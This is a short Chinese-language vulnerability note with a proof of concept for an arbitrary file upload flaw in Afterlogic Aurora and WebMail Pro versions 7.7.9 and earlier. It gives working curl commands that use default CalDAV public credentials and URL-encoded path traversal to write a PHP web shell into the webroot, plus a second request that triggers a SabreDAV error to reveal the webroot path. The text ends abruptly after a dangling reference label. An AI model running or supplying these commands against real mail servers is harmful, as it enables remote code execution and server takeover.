该漏洞是由于Afterlogic Aurora & WebMail Pro中对上传的文件过滤和限制存在缺陷，攻击者可以通过上传恶意文件，从而执行任意代码。
影响版本：
- WebMail Pro ≤ 7.7.9
- Afterlogic Aurora ≤ 7.7.9
PoC：
curl -T shell.php -u 'caldav_public_user@localhost:caldav_public_user' "https://sample-mail.tld/dav/server.php/files/persona/%2e%2e/%2e%2e//%2e%2e//%2e%2e/data//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e//%2e%2e/var/www/html/shell.php"默认路径为/var/www/html，也可能更改配置为其它路径，可以尝试其它方式获取。
curl -X DELETE -u 'caldav_public_user@localhost:caldav_public_user' "https://sample-mail.tld/dav/server.php/files/personal/GIVE_ME_ERROR_TO_GET_DOC_ROOT_2021"
//使用无效路径获取SabreDAV错误查看Webroot路径ref：